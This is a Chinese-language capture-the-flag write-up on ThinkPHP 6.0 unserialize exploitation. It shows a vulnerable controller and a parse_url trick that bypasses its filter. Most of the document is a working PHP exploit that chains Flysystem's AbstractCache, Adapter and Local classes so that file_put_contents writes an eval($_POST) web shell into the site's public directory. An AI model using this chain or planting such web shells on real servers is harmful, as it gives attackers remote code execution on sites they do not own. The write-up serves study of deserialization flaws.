thinkphp6.0的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Index extends BaseController
{
public function index()
{
echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}

parse_url绕过

http://xxx///public/index.php/index/index?payload=O即可绕过

thinkphp6.0 pop chain

任意文件写入

一开始找的一个利用file_put_contents写文件的pop chain,不过buu上的环境好像没有写文件的权限,所以用不了。。

简单记录一下思路:

  • AbstractCache抽象类存在__destruct,会调用save()方法,因此去寻找继承了AbstractCache并实现了save()的类
  • 找到了Adapter类,其save()方法的实现
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public function save()
    {
    $config = new Config();
    $contents = $this->getForStorage();

    if ($this->adapter->has($this->file)) {
    $this->adapter->update($this->file, $contents, $config);
    } else {
    $this->adapter->write($this->file, $contents, $config);
    }
    }
    这里的getForStorage()BUUCTF_2020新春红包题1是一样的,通过$this->cache即可控制contents
  • 接下来就去寻找拥有hasupdate,write方法的类,找到了Local类,其write方法的实现:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    public function write($path, $contents, Config $config)
    {
    $location = $this->applyPathPrefix($path);
    $this->ensureDirectory(dirname($location));

    if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
    return false;
    }

    $type = 'file';
    $result = compact('contents', 'type', 'size', 'path');

    if ($visibility = $config->get('visibility')) {
    $result['visibility'] = $visibility;
    $this->setVisibility($path, $visibility);
    }

    return $result;
    }
    可以看到使用了file_put_contents进行写文件
  • exp:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    <?php
    require __DIR__.'/vendor/autoload.php';

    use League\Flysystem\Cached\Storage\AbstractCache;
    use League\Flysystem\Adapter\Local;

    use League\Flysystem\AdapterInterface;
    use League\Flysystem\Config;

    class Adapter extends AbstractCache
    {
    /**
    * @var AdapterInterface An adapter
    */
    protected $adapter;

    /**
    * @var string the file to cache to
    */
    protected $file;

    /**
    * @var int|null seconds until cache expiration
    */
    protected $expire = null;

    /**
    * Constructor.
    *
    * @param AdapterInterface $adapter adapter
    * @param string $file the file to cache to
    * @param int|null $expire seconds until cache expiration
    */
    // public function __construct(AdapterInterface $adapter, $file, $expire = null)
    public function __construct($expire = null)
    {
    // $this->adapter = $adapter;
    // $this->file = $file;
    $this->setExpire($expire);

    $this->autosave = false;
    $this->adapter = new Local('./public/');
    $this->cache = ["<?php eval(\$_POST['a']); ?>","<?php phpinfo(); ?>"];
    $this->file = 'LionTree.php';
    }

    /**
    * Set the expiration time in seconds.
    *
    * @param int $expire relative expiration time
    */
    protected function setExpire($expire)
    {
    if ($expire) {
    $this->expire = $this->getTime($expire);
    }
    }

    /**
    * Get expiration time in seconds.
    *
    * @param int $time relative expiration time
    *
    * @return int actual expiration time
    */
    protected function getTime($time = 0)
    {
    return intval(microtime(true)) + $time;
    }

    /**
    * {@inheritdoc}
    */
    public function setFromStorage($json)
    {
    list($cache, $complete, $expire) = json_decode($json, true);

    if (! $expire || $expire > $this->getTime()) {
    $this->cache = $cache;
    $this->complete = $complete;
    } else {
    $this->adapter->delete($this->file);
    }
    }

    /**
    * {@inheritdoc}
    */
    public function load()
    {
    if ($this->adapter->has($this->file)) {
    $file = $this->adapter->read($this->file);
    if ($file && !empty($file['contents'])) {
    $this->setFromStorage($file['contents']);
    }
    }
    }

    /**
    * {@inheritdoc}
    */
    public function getForStorage()
    {
    $cleaned = $this->cleanContents($this->cache);

    return json_encode([$cleaned, $this->complete, $this->expire]);
    }

    /**
    * {@inheritdoc}
    */
    public function save()
    {
    $config = new Config();
    $contents = $this->getForStorage();

    if ($this->adapter->has($this->file)) {
    $this->adapter->update($this->file, $contents, $config);
    } else {
    $this->adapter->write($this->file, $contents, $config);
    }
    }
    }

    $o = new Adapter();
    echo urlencode(serialize($o));

RCE

懒得写了。。